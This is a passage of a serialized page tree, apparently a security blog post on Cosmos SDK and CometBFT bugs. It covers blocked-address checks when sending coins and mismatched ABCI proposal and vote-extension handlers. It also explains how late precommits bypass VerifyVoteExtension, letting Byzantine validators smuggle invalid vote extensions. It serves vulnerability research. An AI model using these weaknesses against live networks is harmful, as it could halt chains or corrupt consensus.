...\n",{"type":24,"tag":271,"props":89310,"children":89311},{"class":273,"line":4591},[89312],{"type":24,"tag":271,"props":89313,"children":89314},{"style":288},[89315],{"type":29,"value":7574},{"type":24,"tag":271,"props":89317,"children":89318},{"class":273,"line":4628},[89319],{"type":24,"tag":271,"props":89320,"children":89321},{"style":288},[89322],{"type":29,"value":4385},{"type":24,"tag":271,"props":89324,"children":89325},{"class":273,"line":4658},[89326],{"type":24,"tag":271,"props":89327,"children":89328},{"style":624},[89329],{"type":29,"value":28027},{"type":24,"tag":271,"props":89331,"children":89332},{"class":273,"line":4666},[89333],{"type":24,"tag":271,"props":89334,"children":89335},{"style":288},[89336],{"type":29,"value":1171},{"type":24,"tag":271,"props":89338,"children":89339},{"class":273,"line":4674},[89340],{"type":24,"tag":271,"props":89341,"children":89342},{"emptyLinePlaceholder":16},[89343],{"type":29,"value":327},{"type":24,"tag":271,"props":89345,"children":89346},{"class":273,"line":4683},[89347,89351,89355,89359,89363,89367,89371],{"type":24,"tag":271,"props":89348,"children":89349},{"style":278},[89350],{"type":29,"value":83090},{"type":24,"tag":271,"props":89352,"children":89353},{"style":288},[89354],{"type":29,"value":1357},{"type":24,"tag":271,"props":89356,"children":89357},{"style":630},[89358],{"type":29,"value":87918},{"type":24,"tag":271,"props":89360,"children":89361},{"style":3887},[89362],{"type":29,"value":86735},{"type":24,"tag":271,"props":89364,"children":89365},{"style":288},[89366],{"type":29,"value":8823},{"type":24,"tag":271,"props":89368,"children":89369},{"style":598},[89370],{"type":29,"value":89143},{"type":24,"tag":271,"props":89372,"children":89373},{"style":288},[89374],{"type":29,"value":4028},{"type":24,"tag":271,"props":89376,"children":89377},{"class":273,"line":4691},[89378,89382,89386,89390,89394],{"type":24,"tag":271,"props":89379,"children":89380},{"style":630},[89381],{"type":29,"value":27912},{"type":24,"tag":271,"props":89383,"children":89384},{"style":3887},[89385],{"type":29,"value":85431},{"type":24,"tag":271,"props":89387,"children":89388},{"style":288},[89389],{"type":29,"value":41},{"type":24,"tag":271,"props":89391,"children":89392},{"style":3887},[89393],{"type":29,"value":83139},{"type":24,"tag":271,"props":89395,"children":89396},{"style":288},[89397],{"type":29,"value":638},{"type":24,"tag":271,"props":89399,"children":89400},{"class":273,"line":4708},[89401,89406,89410,89414,89419],{"type":24,"tag":271,"props":89402,"children":89403},{"style":630},[89404],{"type":29,"value":89405}," recipient",{"type":24,"tag":271,"props":89407,"children":89408},{"style":3887},[89409],{"type":29,"value":85431},{"type":24,"tag":271,"props":89411,"children":89412},{"style":288},[89413],{"type":29,"value":41},{"type":24,"tag":271,"props":89415,"children":89416},{"style":3887},[89417],{"type":29,"value":89418},"AccAddress",{"type":24,"tag":271,"props":89420,"children":89421},{"style":288},[89422],{"type":29,"value":638},{"type":24,"tag":271,"props":89424,"children":89425},{"class":273,"line":4716},[89426,89430,89435,89439,89444],{"type":24,"tag":271,"props":89427,"children":89428},{"style":630},[89429],{"type":29,"value":68368},{"type":24,"tag":271,"props":89431,"children":89432},{"style":3887},[89433],{"type":29,"value":89434}," math",{"type":24,"tag":271,"props":89436,"children":89437},{"style":288},[89438],{"type":29,"value":41},{"type":24,"tag":271,"props":89440,"children":89441},{"style":3887},[89442],{"type":29,"value":89443},"Int",{"type":24,"tag":271,"props":89445,"children":89446},{"style":288},[89447],{"type":29,"value":638},{"type":24,"tag":271,"props":89449,"children":89450},{"class":273,"line":10423},[89451,89455,89459],{"type":24,"tag":271,"props":89452,"children":89453},{"style":288},[89454],{"type":29,"value":8823},{"type":24,"tag":271,"props":89456,"children":89457},{"style":3887},[89458],{"type":29,"value":22561},{"type":24,"tag":271,"props":89460,"children":89461},{"style":288},[89462],{"type":29,"value":7145},{"type":24,"tag":271,"props":89464,"children":89465},{"class":273,"line":10431},[89466],{"type":24,"tag":271,"props":89467,"children":89468},{"style":624},[89469],{"type":29,"value":28027},{"type":24,"tag":271,"props":89471,"children":89472},{"class":273,"line":10439},[89473,89478,89482,89486,89490,89495,89499,89503],{"type":24,"tag":271,"props":89474,"children":89475},{"style":630},[89476],{"type":29,"value":89477}," err",{"type":24,"tag":271,"props":89479,"children":89480},{"style":624},[89481],{"type":29,"value":1712},{"type":24,"tag":271,"props":89483,"children":89484},{"style":630},[89485],{"type":29,"value":88046},{"type":24,"tag":271,"props":89487,"children":89488},{"style":288},[89489],{"type":29,"value":41},{"type":24,"tag":271,"props":89491,"children":89492},{"style":630},[89493],{"type":29,"value":89494},"bankKeeper",{"type":24,"tag":271,"props":89496,"children":89497},{"style":288},[89498],{"type":29,"value":41},{"type":24,"tag":271,"props":89500,"children":89501},{"style":598},[89502],{"type":29,"value":88433},{"type":24,"tag":271,"props":89504,"children":89505},{"style":288},[89506],{"type":29,"value":4028},{"type":24,"tag":271,"props":89508,"children":89509},{"class":273,"line":10447},[89510,89514],{"type":24,"tag":271,"props":89511,"children":89512},{"style":630},[89513],{"type":29,"value":33862},{"type":24,"tag":271,"props":89515,"children":89516},{"style":288},[89517],{"type":29,"value":638},{"type":24,"tag":271,"props":89519,"children":89520},{"class":273,"line":10468},[89521,89526,89530,89535],{"type":24,"tag":271,"props":89522,"children":89523},{"style":630},[89524],{"type":29,"value":89525}," types",{"type":24,"tag":271,"props":89527,"children":89528},{"style":288},[89529],{"type":29,"value":41},{"type":24,"tag":271,"props":89531,"children":89532},{"style":630},[89533],{"type":29,"value":89534},"ModuleName",{"type":24,"tag":271,"props":89536,"children":89537},{"style":288},[89538],{"type":29,"value":638},{"type":24,"tag":271,"props":89540,"children":89541},{"class":273,"line":39951},[89542,89546],{"type":24,"tag":271,"props":89543,"children":89544},{"style":630},[89545],{"type":29,"value":88943},{"type":24,"tag":271,"props":89547,"children":89548},{"style":288},[89549],{"type":29,"value":638},{"type":24,"tag":271,"props":89551,"children":89552},{"class":273,"line":39972},[89553,89558],{"type":24,"tag":271,"props":89554,"children":89555},{"style":630},[89556],{"type":29,"value":89557}," coins",{"type":24,"tag":271,"props":89559,"children":89560},{"style":288},[89561],{"type":29,"value":638},{"type":24,"tag":271,"props":89563,"children":89564},{"class":273,"line":87741},[89565],{"type":24,"tag":271,"props":89566,"children":89567},{"style":288},[89568],{"type":29,"value":31595},{"type":24,"tag":271,"props":89570,"children":89571},{"class":273,"line":87754},[89572,89576,89580,89584,89588],{"type":24,"tag":271,"props":89573,"children":89574},{"style":749},[89575],{"type":29,"value":5025},{"type":24,"tag":271,"props":89577,"children":89578},{"style":630},[89579],{"type":29,"value":56186},{"type":24,"tag":271,"props":89581,"children":89582},{"style":624},[89583],{"type":29,"value":71173},{"type":24,"tag":271,"props":89585,"children":89586},{"style":278},[89587],{"type":29,"value":88708},{"type":24,"tag":271,"props":89589,"children":89590},{"style":288},[89591],{"type":29,"value":7145},{"type":24,"tag":271,"props":89593,"children":89594},{"class":273,"line":87762},[89595,89599,89603,89607,89611,89615,89620,89624,89628],{"type":24,"tag":271,"props":89596,"children":89597},{"style":749},[89598],{"type":29,"value":8905},{"type":24,"tag":271,"props":89600,"children":89601},{"style":630},[89602],{"type":29,"value":89024},{"type":24,"tag":271,"props":89604,"children":89605},{"style":288},[89606],{"type":29,"value":41},{"type":24,"tag":271,"props":89608,"children":89609},{"style":598},[89610],{"type":29,"value":88741},{"type":24,"tag":271,"props":89612,"children":89613},{"style":288},[89614],{"type":29,"value":606},{"type":24,"tag":271,"props":89616,"children":89617},{"style":378},[89618],{"type":29,"value":89619},"\"failed to send coins: %w\"",{"type":24,"tag":271,"props":89621,"children":89622},{"style":288},[89623],{"type":29,"value":158},{"type":24,"tag":271,"props":89625,"children":89626},{"style":630},[89627],{"type":29,"value":56085},{"type":24,"tag":271,"props":89629,"children":89630},{"style":288},[89631],{"type":29,"value":694},{"type":24,"tag":271,"props":89633,"children":89634},{"class":273,"line":87770},[89635],{"type":24,"tag":271,"props":89636,"children":89637},{"style":288},[89638],{"type":29,"value":4385},{"type":24,"tag":271,"props":89640,"children":89641},{"class":273,"line":87778},[89642],{"type":24,"tag":271,"props":89643,"children":89644},{"style":624},[89645],{"type":29,"value":28027},{"type":24,"tag":271,"props":89647,"children":89648},{"class":273,"line":87818},[89649],{"type":24,"tag":271,"props":89650,"children":89651},{"style":288},[89652],{"type":29,"value":1171},{"type":24,"tag":261,"props":89654,"children":89656},{"code":89655,"language":82954,"meta":7,"className":82955,"style":7},"func (k BaseKeeper) SendCoinsFromModuleToAccount(\n ctx context.Context, senderModule string, recipientAddr sdk.AccAddress, amt sdk.Coins,\n) error {\n ...\n if k.BlockedAddr(recipientAddr) {\n return errorsmod.Wrapf(sdkerrors.ErrUnauthorized, \"%s is not allowed to receive funds\", recipientAddr)\n }\n ...\n}\n",[89657],{"type":24,"tag":135,"props":89658,"children":89659},{"__ignoreMap":7},[89660,89692,89771,89786,89794,89825,89883,89890,89897],{"type":24,"tag":271,"props":89661,"children":89662},{"class":273,"line":274},[89663,89667,89671,89675,89680,89684,89688],{"type":24,"tag":271,"props":89664,"children":89665},{"style":278},[89666],{"type":29,"value":83090},{"type":24,"tag":271,"props":89668,"children":89669},{"style":288},[89670],{"type":29,"value":1357},{"type":24,"tag":271,"props":89672,"children":89673},{"style":630},[89674],{"type":29,"value":87918},{"type":24,"tag":271,"props":89676,"children":89677},{"style":3887},[89678],{"type":29,"value":89679},"BaseKeeper",{"type":24,"tag":271,"props":89681,"children":89682},{"style":288},[89683],{"type":29,"value":8823},{"type":24,"tag":271,"props":89685,"children":89686},{"style":598},[89687],{"type":29,"value":88433},{"type":24,"tag":271,"props":89689,"children":89690},{"style":288},[89691],{"type":29,"value":4028},{"type":24,"tag":271,"props":89693,"children":89694},{"class":273,"line":284},[89695,89699,89703,89707,89711,89715,89720,89724,89728,89733,89737,89741,89745,89749,89754,89758,89762,89767],{"type":24,"tag":271,"props":89696,"children":89697},{"style":630},[89698],{"type":29,"value":33519},{"type":24,"tag":271,"props":89700,"children":89701},{"style":3887},[89702],{"type":29,"value":83130},{"type":24,"tag":271,"props":89704,"children":89705},{"style":288},[89706],{"type":29,"value":41},{"type":24,"tag":271,"props":89708,"children":89709},{"style":3887},[89710],{"type":29,"value":83139},{"type":24,"tag":271,"props":89712,"children":89713},{"style":288},[89714],{"type":29,"value":158},{"type":24,"tag":271,"props":89716,"children":89717},{"style":630},[89718],{"type":29,"value":89719},"senderModule",{"type":24,"tag":271,"props":89721,"children":89722},{"style":3887},[89723],{"type":29,"value":43697},{"type":24,"tag":271,"props":89725,"children":89726},{"style":288},[89727],{"type":29,"value":158},{"type":24,"tag":271,"props":89729,"children":89730},{"style":630},[89731],{"type":29,"value":89732},"recipientAddr",{"type":24,"tag":271,"props":89734,"children":89735},{"style":3887},[89736],{"type":29,"value":85431},{"type":24,"tag":271,"props":89738,"children":89739},{"style":288},[89740],{"type":29,"value":41},{"type":24,"tag":271,"props":89742,"children":89743},{"style":3887},[89744],{"type":29,"value":89418},{"type":24,"tag":271,"props":89746,"children":89747},{"style":288},[89748],{"type":29,"value":158},{"type":24,"tag":271,"props":89750,"children":89751},{"style":630},[89752],{"type":29,"value":89753},"amt",{"type":24,"tag":271,"props":89755,"children":89756},{"style":3887},[89757],{"type":29,"value":85431},{"type":24,"tag":271,"props":89759,"children":89760},{"style":288},[89761],{"type":29,"value":41},{"type":24,"tag":271,"props":89763,"children":89764},{"style":3887},[89765],{"type":29,"value":89766},"Coins",{"type":24,"tag":271,"props":89768,"children":89769},{"style":288},[89770],{"type":29,"value":638},{"type":24,"tag":271,"props":89772,"children":89773},{"class":273,"line":294},[89774,89778,89782],{"type":24,"tag":271,"props":89775,"children":89776},{"style":288},[89777],{"type":29,"value":8823},{"type":24,"tag":271,"props":89779,"children":89780},{"style":3887},[89781],{"type":29,"value":22561},{"type":24,"tag":271,"props":89783,"children":89784},{"style":288},[89785],{"type":29,"value":7145},{"type":24,"tag":271,"props":89787,"children":89788},{"class":273,"line":303},[89789],{"type":24,"tag":271,"props":89790,"children":89791},{"style":624},[89792],{"type":29,"value":89793}," ...\n",{"type":24,"tag":271,"props":89795,"children":89796},{"class":273,"line":312},[89797,89801,89805,89809,89813,89817,89821],{"type":24,"tag":271,"props":89798,"children":89799},{"style":749},[89800],{"type":29,"value":1352},{"type":24,"tag":271,"props":89802,"children":89803},{"style":630},[89804],{"type":29,"value":88046},{"type":24,"tag":271,"props":89806,"children":89807},{"style":288},[89808],{"type":29,"value":41},{"type":24,"tag":271,"props":89810,"children":89811},{"style":598},[89812],{"type":29,"value":88449},{"type":24,"tag":271,"props":89814,"children":89815},{"style":288},[89816],{"type":29,"value":606},{"type":24,"tag":271,"props":89818,"children":89819},{"style":630},[89820],{"type":29,"value":89732},{"type":24,"tag":271,"props":89822,"children":89823},{"style":288},[89824],{"type":29,"value":919},{"type":24,"tag":271,"props":89826,"children":89827},{"class":273,"line":321},[89828,89832,89837,89841,89845,89849,89853,89857,89862,89866,89871,89875,89879],{"type":24,"tag":271,"props":89829,"children":89830},{"style":749},[89831],{"type":29,"value":1842},{"type":24,"tag":271,"props":89833,"children":89834},{"style":630},[89835],{"type":29,"value":89836}," errorsmod",{"type":24,"tag":271,"props":89838,"children":89839},{"style":288},[89840],{"type":29,"value":41},{"type":24,"tag":271,"props":89842,"children":89843},{"style":598},[89844],{"type":29,"value":87700},{"type":24,"tag":271,"props":89846,"children":89847},{"style":288},[89848],{"type":29,"value":606},{"type":24,"tag":271,"props":89850,"children":89851},{"style":630},[89852],{"type":29,"value":87362},{"type":24,"tag":271,"props":89854,"children":89855},{"style":288},[89856],{"type":29,"value":41},{"type":24,"tag":271,"props":89858,"children":89859},{"style":630},[89860],{"type":29,"value":89861},"ErrUnauthorized",{"type":24,"tag":271,"props":89863,"children":89864},{"style":288},[89865],{"type":29,"value":158},{"type":24,"tag":271,"props":89867,"children":89868},{"style":378},[89869],{"type":29,"value":89870},"\"%s is not allowed to receive funds\"",{"type":24,"tag":271,"props":89872,"children":89873},{"style":288},[89874],{"type":29,"value":158},{"type":24,"tag":271,"props":89876,"children":89877},{"style":630},[89878],{"type":29,"value":89732},{"type":24,"tag":271,"props":89880,"children":89881},{"style":288},[89882],{"type":29,"value":694},{"type":24,"tag":271,"props":89884,"children":89885},{"class":273,"line":330},[89886],{"type":24,"tag":271,"props":89887,"children":89888},{"style":288},[89889],{"type":29,"value":1163},{"type":24,"tag":271,"props":89891,"children":89892},{"class":273,"line":339},[89893],{"type":24,"tag":271,"props":89894,"children":89895},{"style":624},[89896],{"type":29,"value":89793},{"type":24,"tag":271,"props":89898,"children":89899},{"class":273,"line":347},[89900],{"type":24,"tag":271,"props":89901,"children":89902},{"style":288},[89903],{"type":29,"value":1171},{"type":24,"tag":25,"props":89905,"children":89906},{},[89907,89909,89916],{"type":29,"value":89908},"This shows even well-known bug classes still resurface from time to time due to unforeseen invariant violations. Additional examples include ",{"type":24,"tag":32,"props":89910,"children":89913},{"href":89911,"rel":89912},"https://hackerone.com/reports/3018307",[36],[89914],{"type":29,"value":89915},"improper decimal handling in the group module",{"type":29,"value":41},{"type":24,"tag":62,"props":89918,"children":89920},{"id":89919},"same-same-but-different",[89921],{"type":29,"value":89922},"Same, Same... But Different",{"type":24,"tag":25,"props":89924,"children":89925},{},[89926,89928,89934,89935,89941,89942,89948,89949,89955],{"type":29,"value":89927},"Cosmos exposes several consensus-level interfaces, such as ",{"type":24,"tag":135,"props":89929,"children":89931},{"className":89930},[],[89932],{"type":29,"value":89933},"PrepareProposal",{"type":29,"value":158},{"type":24,"tag":135,"props":89936,"children":89938},{"className":89937},[],[89939],{"type":29,"value":89940},"ProcessProposal",{"type":29,"value":158},{"type":24,"tag":135,"props":89943,"children":89945},{"className":89944},[],[89946],{"type":29,"value":89947},"ExtendVote",{"type":29,"value":14204},{"type":24,"tag":135,"props":89950,"children":89952},{"className":89951},[],[89953],{"type":29,"value":89954},"VerifyVoteExtension",{"type":29,"value":89956},". These ABCI methods allow developers to customize how blocks are constructed, as well as inject supplementary data into each block.",{"type":24,"tag":25,"props":89958,"children":89959},{},[89960],{"type":29,"value":89961},"Two of the best-known attack surfaces are",{"type":24,"tag":3834,"props":89963,"children":89964},{},[89965,89994],{"type":24,"tag":101,"props":89966,"children":89967},{},[89968,89973,89974,89979,89981,89986,89987,89992],{"type":24,"tag":135,"props":89969,"children":89971},{"className":89970},[],[89972],{"type":29,"value":89933},{"type":29,"value":1357},{"type":24,"tag":135,"props":89975,"children":89977},{"className":89976},[],[89978],{"type":29,"value":89947},{"type":29,"value":89980},") outputs being rejected due to ",{"type":24,"tag":135,"props":89982,"children":89984},{"className":89983},[],[89985],{"type":29,"value":89940},{"type":29,"value":1357},{"type":24,"tag":135,"props":89988,"children":89990},{"className":89989},[],[89991],{"type":29,"value":89954},{"type":29,"value":89993},") over-validating, resulting in liveness failures.",{"type":24,"tag":101,"props":89995,"children":89996},{},[89997,89999,90004,90005,90010,90012,90017,90018,90023],{"type":29,"value":89998},"Malicious proposals and vote extensions not created through the ",{"type":24,"tag":135,"props":90000,"children":90002},{"className":90001},[],[90003],{"type":29,"value":89933},{"type":29,"value":1357},{"type":24,"tag":135,"props":90006,"children":90008},{"className":90007},[],[90009],{"type":29,"value":89947},{"type":29,"value":90011},") are accepted due to ",{"type":24,"tag":135,"props":90013,"children":90015},{"className":90014},[],[90016],{"type":29,"value":89940},{"type":29,"value":1357},{"type":24,"tag":135,"props":90019,"children":90021},{"className":90020},[],[90022],{"type":29,"value":89954},{"type":29,"value":90024},") under-validating.",{"type":24,"tag":25,"props":90026,"children":90027},{},[90028],{"type":29,"value":90029},"In essence, any difference in pairs of handlers will likely lead to security issues.",{"type":24,"tag":25,"props":90031,"children":90032},{},[90033,90035,90041,90043,90048],{"type":29,"value":90034},"There are also a few lesser known variants of these issues. One instance is the validation of ",{"type":24,"tag":135,"props":90036,"children":90038},{"className":90037},[],[90039],{"type":29,"value":90040},"VoteExtensions",{"type":29,"value":90042}," within ",{"type":24,"tag":135,"props":90044,"children":90046},{"className":90045},[],[90047],{"type":29,"value":89933},{"type":29,"value":90049},". To provide context, we start with a primer on the CometBTF consensus and vote extensions.",{"type":24,"tag":25,"props":90051,"children":90052},{},[90053,90055,90060,90062,90067],{"type":29,"value":90054},"Consensus starts with a leader creating a proposal and then broadcasting it to each validator. Validators then proceed to vote on whether or not to accept the proposal. During the voting phase, ",{"type":24,"tag":135,"props":90056,"children":90058},{"className":90057},[],[90059],{"type":29,"value":89947},{"type":29,"value":90061}," is called to attach additional data to the votes. Once a validator collects enough valid votes that pass ",{"type":24,"tag":135,"props":90063,"children":90065},{"className":90064},[],[90066],{"type":29,"value":89954},{"type":29,"value":90068},", a proposal is considered accepted and can be committed. After committing the proposal, a new leader starts to create the next proposal, bringing us back to the point where we started.",{"type":24,"tag":25,"props":90070,"children":90071},{},[90072,90074,90079],{"type":29,"value":90073},"So, where are the attached vote extension data used? It turns out a leader should include the vote extensions of the previous consensus round in its proposal. It might be tempting to conclude that all vote extensions an honest leader accepted have passed the ",{"type":24,"tag":135,"props":90075,"children":90077},{"className":90076},[],[90078],{"type":29,"value":89954},{"type":29,"value":90080}," check and are therefore valid. Thus, we can directly inject all vote extensions into our proposal.",{"type":24,"tag":25,"props":90082,"children":90083},{},[90084,90086,90091,90093,90099],{"type":29,"value":90085},"Unfortunately, CometBTF directly accepts late precommits without passing them through ",{"type":24,"tag":135,"props":90087,"children":90089},{"className":90088},[],[90090],{"type":29,"value":89954},{"type":29,"value":90092},". This exposes a time window where Byzantine validators can smuggle malicious vote into the next leader's cache, luring the leader into including invalid vote extensions into its ",{"type":24,"tag":135,"props":90094,"children":90096},{"className":90095},[],[90097],{"type":29,"value":90098},"Proposal",{"type":29,"value":41},{"type":24,"tag":261,"props":90101,"children":90103},{"code":90102,"language":82954,"meta":7,"className":82955,"style":7},"func (cs *State) addVote(vote *types.Vote, peerID p2p.ID) (added bool, err error) {\n ...\n\n // A precommit for the previous height?\n // These come in while we wait timeoutCommit\n if vote.Height+1 == cs.Height && vote.Type == types.PrecommitType {\n ...\n // Late precommits are not checked by VerifyVoteExtension\n added, err = cs.LastCommit.AddVote(vote)\n ...\n return added, err\n }\n extEnabled := cs.state.ConsensusParams.Feature.VoteExtensionsEnabled(vote.Height)\n if extEnabled {\n ...\n if vote.Type == types.PrecommitType && !vote.BlockID.IsNil() &&\n !bytes.Equal(vote.ValidatorAddress, myAddr) { // Skip the VerifyVoteExtension call if the vote was issued by this validator.\n ...\n err := cs.blockExec.VerifyVoteExtension(context.TODO(), vote)\n ...\n }\n } else if {\n ...\n }\n ...\n}\n",[90104],{"type":24,"tag":135,"props":90105,"children":90106},{"__ignoreMap":7},[90107,90219,90226,90233,90241,90249,90333,90340,90348,90402,90409,90430,90437,90509,90525,90532,90606,90662,90669,90731,90738,90745,90764,90771,90778,90785],{"type":24,"tag":271,"props":90108,"children":90109},{"class":273,"line":274},[90110,90114,90118,90123,90127,90132,90136,90141,90145,90150,90154,90158,90162,90167,90171,90176,90181,90185,90190,90194,90199,90203,90207,90211,90215],{"type":24,"tag":271,"props":90111,"children":90112},{"style":278},[90113],{"type":29,"value":83090},{"type":24,"tag":271,"props":90115,"children":90116},{"style":288},[90117],{"type":29,"value":1357},{"type":24,"tag":271,"props":90119,"children":90120},{"style":630},[90121],{"type":29,"value":90122},"cs ",{"type":24,"tag":271,"props":90124,"children":90125},{"style":624},[90126],{"type":29,"value":627},{"type":24,"tag":271,"props":90128,"children":90129},{"style":3887},[90130],{"type":29,"value":90131},"State",{"type":24,"tag":271,"props":90133,"children":90134},{"style":288},[90135],{"type":29,"value":8823},{"type":24,"tag":271,"props":90137,"children":90138},{"style":598},[90139],{"type":29,"value":90140},"addVote",{"type":24,"tag":271,"props":90142,"children":90143},{"style":288},[90144],{"type":29,"value":606},{"type":24,"tag":271,"props":90146,"children":90147},{"style":630},[90148],{"type":29,"value":90149},"vote",{"type":24,"tag":271,"props":90151,"children":90152},{"style":624},[90153],{"type":29,"value":3895},{"type":24,"tag":271,"props":90155,"children":90156},{"style":3887},[90157],{"type":29,"value":13476},{"type":24,"tag":271,"props":90159,"children":90160},{"style":288},[90161],{"type":29,"value":41},{"type":24,"tag":271,"props":90163,"children":90164},{"style":3887},[90165],{"type":29,"value":90166},"Vote",{"type":24,"tag":271,"props":90168,"children":90169},{"style":288},[90170],{"type":29,"value":158},{"type":24,"tag":271,"props":90172,"children":90173},{"style":630},[90174],{"type":29,"value":90175},"peerID",{"type":24,"tag":271,"props":90177,"children":90178},{"style":3887},[90179],{"type":29,"value":90180}," p2p",{"type":24,"tag":271,"props":90182,"children":90183},{"style":288},[90184],{"type":29,"value":41},{"type":24,"tag":271,"props":90186,"children":90187},{"style":3887},[90188],{"type":29,"value":90189},"ID",{"type":24,"tag":271,"props":90191,"children":90192},{"style":288},[90193],{"type":29,"value":83172},{"type":24,"tag":271,"props":90195,"children":90196},{"style":630},[90197],{"type":29,"value":90198},"added",{"type":24,"tag":271,"props":90200,"children":90201},{"style":3887},[90202],{"type":29,"value":19753},{"type":24,"tag":271,"props":90204,"children":90205},{"style":288},[90206],{"type":29,"value":158},{"type":24,"tag":271,"props":90208,"children":90209},{"style":630},[90210],{"type":29,"value":56085},{"type":24,"tag":271,"props":90212,"children":90213},{"style":3887},[90214],{"type":29,"value":22574},{"type":24,"tag":271,"props":90216,"children":90217},{"style":288},[90218],{"type":29,"value":919},{"type":24,"tag":271,"props":90220,"children":90221},{"class":273,"line":284},[90222],{"type":24,"tag":271,"props":90223,"children":90224},{"style":624},[90225],{"type":29,"value":28027},{"type":24,"tag":271,"props":90227,"children":90228},{"class":273,"line":294},[90229],{"type":24,"tag":271,"props":90230,"children":90231},{"emptyLinePlaceholder":16},[90232],{"type":29,"value":327},{"type":24,"tag":271,"props":90234,"children":90235},{"class":273,"line":303},[90236],{"type":24,"tag":271,"props":90237,"children":90238},{"style":2058},[90239],{"type":29,"value":90240}," // A precommit for the previous height?\n",{"type":24,"tag":271,"props":90242,"children":90243},{"class":273,"line":312},[90244],{"type":24,"tag":271,"props":90245,"children":90246},{"style":2058},[90247],{"type":29,"value":90248}," // These come in while we wait timeoutCommit\n",{"type":24,"tag":271,"props":90250,"children":90251},{"class":273,"line":321},[90252,90256,90261,90265,90270,90274,90278,90282,90287,90291,90295,90299,90303,90307,90312,90316,90320,90324,90329],{"type":24,"tag":271,"props":90253,"children":90254},{"style":749},[90255],{"type":29,"value":5025},{"type":24,"tag":271,"props":90257,"children":90258},{"style":630},[90259],{"type":29,"value":90260}," vote",{"type":24,"tag":271,"props":90262,"children":90263},{"style":288},[90264],{"type":29,"value":41},{"type":24,"tag":271,"props":90266,"children":90267},{"style":630},[90268],{"type":29,"value":90269},"Height",{"type":24,"tag":271,"props":90271,"children":90272},{"style":624},[90273],{"type":29,"value":1012},{"type":24,"tag":271,"props":90275,"children":90276},{"style":477},[90277],{"type":29,"value":156},{"type":24,"tag":271,"props":90279,"children":90280},{"style":624},[90281],{"type":29,"value":1031},{"type":24,"tag":271,"props":90283,"children":90284},{"style":630},[90285],{"type":29,"value":90286}," cs",{"type":24,"tag":271,"props":90288,"children":90289},{"style":288},[90290],{"type":29,"value":41},{"type":24,"tag":271,"props":90292,"children":90293},{"style":630},[90294],{"type":29,"value":90269},{"type":24,"tag":271,"props":90296,"children":90297},{"style":624},[90298],{"type":29,"value":989},{"type":24,"tag":271,"props":90300,"children":90301},{"style":630},[90302],{"type":29,"value":90260},{"type":24,"tag":271,"props":90304,"children":90305},{"style":288},[90306],{"type":29,"value":41},{"type":24,"tag":271,"props":90308,"children":90309},{"style":630},[90310],{"type":29,"value":90311},"Type",{"type":24,"tag":271,"props":90313,"children":90314},{"style":624},[90315],{"type":29,"value":1031},{"type":24,"tag":271,"props":90317,"children":90318},{"style":630},[90319],{"type":29,"value":84965},{"type":24,"tag":271,"props":90321,"children":90322},{"style":288},[90323],{"type":29,"value":41},{"type":24,"tag":271,"props":90325,"children":90326},{"style":630},[90327],{"type":29,"value":90328},"PrecommitType",{"type":24,"tag":271,"props":90330,"children":90331},{"style":288},[90332],{"type":29,"value":7145},{"type":24,"tag":271,"props":90334,"children":90335},{"class":273,"line":330},[90336],{"type":24,"tag":271,"props":90337,"children":90338},{"style":624},[90339],{"type":29,"value":88632},{"type":24,"tag":271,"props":90341,"children":90342},{"class":273,"line":339},[90343],{"type":24,"tag":271,"props":90344,"children":90345},{"style":2058},[90346],{"type":29,"value":90347}," // Late precommits are not checked by VerifyVoteExtension\n",{"type":24,"tag":271,"props":90349,"children":90350},{"class":273,"line":347},[90351,90356,90360,90364,90368,90372,90376,90381,90385,90390,90394,90398],{"type":24,"tag":271,"props":90352,"children":90353},{"style":630},[90354],{"type":29,"value":90355}," added",{"type":24,"tag":271,"props":90357,"children":90358},{"style":288},[90359],{"type":29,"value":158},{"type":24,"tag":271,"props":90361,"children":90362},{"style":630},[90363],{"type":29,"value":56085},{"type":24,"tag":271,"props":90365,"children":90366},{"style":624},[90367],{"type":29,"value":1712},{"type":24,"tag":271,"props":90369,"children":90370},{"style":630},[90371],{"type":29,"value":90286},{"type":24,"tag":271,"props":90373,"children":90374},{"style":288},[90375],{"type":29,"value":41},{"type":24,"tag":271,"props":90377,"children":90378},{"style":630},[90379],{"type":29,"value":90380},"LastCommit",{"type":24,"tag":271,"props":90382,"children":90383},{"style":288},[90384],{"type":29,"value":41},{"type":24,"tag":271,"props":90386,"children":90387},{"style":598},[90388],{"type":29,"value":90389},"AddVote",{"type":24,"tag":271,"props":90391,"children":90392},{"style":288},[90393],{"type":29,"value":606},{"type":24,"tag":271,"props":90395,"children":90396},{"style":630},[90397],{"type":29,"value":90149},{"type":24,"tag":271,"props":90399,"children":90400},{"style":288},[90401],{"type":29,"value":694},{"type":24,"tag":271,"props":90403,"children":90404},{"class":273,"line":356},[90405],{"type":24,"tag":271,"props":90406,"children":90407},{"style":624},[90408],{"type":29,"value":88632},{"type":24,"tag":271,"props":90410,"children":90411},{"class":273,"line":365},[90412,90416,90421,90425],{"type":24,"tag":271,"props":90413,"children":90414},{"style":749},[90415],{"type":29,"value":8905},{"type":24,"tag":271,"props":90417,"children":90418},{"style":630},[90419],{"type":29,"value":90420}," added",{"type":24,"tag":271,"props":90422,"children":90423},{"style":288},[90424],{"type":29,"value":158},{"type":24,"tag":271,"props":90426,"children":90427},{"style":630},[90428],{"type":29,"value":90429},"err\n",{"type":24,"tag":271,"props":90431,"children":90432},{"class":273,"line":374},[90433],{"type":24,"tag":271,"props":90434,"children":90435},{"style":288},[90436],{"type":29,"value":4385},{"type":24,"tag":271,"props":90438,"children":90439},{"class":273,"line":384},[90440,90445,90449,90453,90457,90462,90466,90471,90475,90480,90484,90489,90493,90497,90501,90505],{"type":24,"tag":271,"props":90441,"children":90442},{"style":630},[90443],{"type":29,"value":90444}," 